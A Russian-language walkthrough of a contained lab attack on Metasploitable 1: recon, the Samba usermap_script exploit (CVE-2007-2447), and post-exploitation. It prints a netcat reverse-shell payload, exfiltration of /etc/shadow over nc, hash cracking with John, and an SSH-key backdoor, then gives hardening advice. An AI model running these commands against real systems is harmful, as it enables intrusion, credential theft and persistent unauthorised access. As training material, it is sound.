Эксплуатация уязвимостей в Metasploitable

Полный цикл реальной атаки в контролируемой и изолированной среде: подготовка лаборатории, разведка с nmap, приоритизация поверхности атаки, привязка к CVE, эксплуатация с Metasploit, пост-эксплуатация, извлечение и взлом учетных данных, и сохранение доступа через внедрение SSH-ключа.

1. Подготовка среды

• Атакующий: Kali Linux — msfconsole, nmap, John the Ripper.
• Цель: Metasploitable 1 — Ubuntu 8.04 (2010), без патчей, со множеством известных CVE.
• Сеть: host-only, обе ВМ изолированы от любой реальной сети (192.168.64.0/24). IP жертвы: 192.168.64.3.

2. Разведка с Nmap

Сканирование версий для точного определения того, что именно открыто — уязвимости затрагивают конкретные версии, а не абстрактные сервисы:

nmap -sV 192.168.64.3

12 открытых портов, все с устаревшими и эксплуатируемыми версиями.

3. Приоритизация поверхности атаки

Вместо атаки первого открытого порта я классифицировал сервисы по типу риска перед выбором цели:

• Удаленный доступ (22, 23): Telnet передает учетные данные в открытом виде; OpenSSH 4.7p1 — очень старая версия.
• Уровень веб-приложений (80, 8180): Apache 2.2.8 сильно отстает от стабильной версии; Tomcat со слабыми учетными данными и потенциальным RCE.
• Открытые базы данных (3306): MySQL 5.0.51a, старая версия с прямым доступом к данным.
• Общие файлы / внутренняя сеть (139, 445): Samba, исторически один из самых эксплуатируемых сервисов, с известными CVE и публичными эксплойтами.

Выбранная цель: Samba 3.0.20-Debian — сочетает версию с задокументированной критической уязвимостью, эксплойт доступен в Metasploit, и выполнение кода без предварительной аутентификации: максимальное воздействие при максимальной надежности.

4. Привязка уязвимости

Подтверждение точной версии с помощью движка скриптов Nmap (NSE):

nmap -p 139,445 --script=smb-os-discovery 192.168.64.3
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)

Samba 3.0.20 уязвима к CVE-2007-2447: параметр username map script не проверяет входные данные, и атакующий может внедрить команды оболочки напрямую в поле имени пользователя. Поскольку сопоставление происходит до входа в систему, не требуются ни действительный пользователь, ни пароль.

5. Эксплуатация с Metasploit

msfconsole

Поиск соответствующего модуля:

msf > search type:exploit samba

Настройка и выполнение:

msf > use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.64.3
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.64.4:4444
[*] Command shell session 1 opened

Немедленная проверка привилегий — уязвимость дает прямой доступ root, без необходимости последующего повышения:

whoami   → root
uname -a → Linux metasploitable 2.6.24-16-server (ядро 2008 года)

6. Пост-эксплуатация: как это произошло на самом деле

Просматривая процессы на жертве, можно увидеть саму внедренную полезную нагрузку в исполнении:

ps aux | grep samba
root  4931  sh -c /etc/samba/scripts/mapusers.sh "/=`nohup mkfifo /tmp/iftpe; nc 192.168.64.4 4444 0</tmp/iftpe | /bin/sh >/tmp/iftpe 2>&1; rm /tmp/iftpe`"

Отправленное имя пользователя содержало саму команду (/=`...`): Samba передала её без санитизации в оболочку, которая создала канал с mkfifo, открыла обратное соединение с Kali через netcat и подключила /bin/sh к этому каналу — полное удаленное выполнение кода, строка за строкой.

Перечисление внутренних сервисов с помощью netstat -tulnp: MySQL прослушивал на 0.0.0.0:3306 — открыт для любой машины в сети, а не только для localhost.

7. Извлечение и взлом учетных данных

Вместо попыток взломать хэши на самой жертве (потребляет CPU, создает шум, оставляет следы) я извлек хэши и передал их в Kali для атаки офлайн:

cat /etc/shadow
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

Передача через netcat и подготовка для John the Ripper:

# В Kali:
nc -lvnp 4444 > shadow.txt
# На жертве:
cat /etc/shadow | nc 192.168.64.4 4444

unshadow passwd.txt shadow.txt > hashes.txt
john hashes.txt

John выполняет три автоматических фазы (режим single с информацией о самом пользователе, словарь и инкрементальный перебор). Результат: 6 из 7 паролей взломано, включая повторно используемые учетные данные для SSH, MySQL и FTP.

8. Горизонтальное перемещение и сохранение доступа

С взломанными учетными данными — прямой доступ по SSH как легитимный пользователь:

ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

Чтобы не зависеть от пароля, который может быть изменен, я сгенерировал свою пару ключей и добавил её в authorized_keys жертвы — бэкдор, который переживает смену пароля и не вызывает предупреждений о брутфорсе:

ssh-keygen -t rsa -b 2048 -f lab_key
cat lab_key.pub >> ~/.ssh/authorized_keys   # выполнено на жертве, уже скомпрометированной

Последующий доступ без пароля:

ssh -i lab_key -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

Выводы

• Двенадцать открытых портов, все с устаревшими версиями — поверхность атаки представляла собой не единичную ошибку, а накопление годами необновляемых сервисов.
• Уязвимость удаленного выполнения кода, эксплуатируемая без какой-либо аутентификации — наихудший сценарий для открытого сервиса.
• Слабые и повторно используемые между сервисами (SSH, MySQL, FTP) учетные данные — компрометация одной точки дала доступ к нескольким.
• Полное отсутствие сегментации сети и базового hardening (базы данных, открытые на 0.0.0.0, активные устаревшие протоколы вроде Telnet).

Рекомендации по безопасности

Удалить небезопасные протоколы, такие как Telnet, обновить критически важные сервисы и само ядро, ограничить прямое открытие баз данных, применить сегментацию сети и, прежде всего — учитывая, насколько легко были взломаны пароли — внедрить политики надежных и не повторно используемых между сервисами учетных данных. Те же методы обнаружения, которые предотвратили бы эту атаку в продакшене (мониторинг аномальных исходящих соединений, предупреждения о nc/reverse shells) — это то, над чем я работаю со стороны защиты в моем Home SOC Lab.

Заключение

Приоритизация перед атакой — понимание того, какой сервис дает наибольшее воздействие с наибольшей надежностью, вместо перебора портов наугад — привела напрямую к Samba. Фаза пост-эксплуатации, когда видна сама внедренная команда, выполняющаяся в ps aux, лучше всего иллюстрирует, почему уязвимость проверки входных данных превращается в полный контроль над системой. А сохранение доступа через SSH-ключ ясно показывает, что, попав внутрь, цель атакующего — не просто "иметь доступ", а иметь его скрытно и на длительный срок — тем более, что защита в глубину не должна полагаться на единственный барьер.